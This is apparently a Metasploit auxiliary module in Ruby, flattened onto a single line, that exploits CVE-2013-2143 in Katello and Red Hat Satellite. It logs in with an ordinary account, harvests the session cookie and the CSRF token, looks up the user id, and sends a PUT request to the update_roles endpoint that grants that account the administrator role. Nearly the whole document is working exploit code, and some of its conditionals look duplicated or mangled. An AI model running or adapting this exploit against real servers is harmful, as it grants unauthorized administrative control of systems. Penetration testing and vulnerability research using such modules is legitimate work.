1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', 'Description'=> %q{ This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account. }, 'Author' => 'Ramon de C Valle', 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2013-2143'], ['CWE', '862'] ], 'DisclosureDate' => 'Mar 24 2014' ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ], self.class ) end def run print_status("Logging into #{target_url}...") res = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'user_session', 'new'), 'vars_get' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'dashboard') ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end if res.headers['Location'] =~ /user_session\/new$/ print_error('Failed to retrieve the user id') return else csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil? if csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ if user.nil? print_error('Failed to retrieve the user id') return end end print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") res = send_request_cgi( 'cookie'=> "_katello_session=#{session}", 'headers' => { 'X-CSRF-Token' => csrf_token }, 'method'=> 'PUT', 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), 'vars_post' => { 'user[role_ids][]' => '1' } ) if res.nil? print_error('No response from remote host') return end if res.headers['X-Message-Type'] =~ /success$/ print_good('User updated successfully') else print_error('Failed to update user') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end |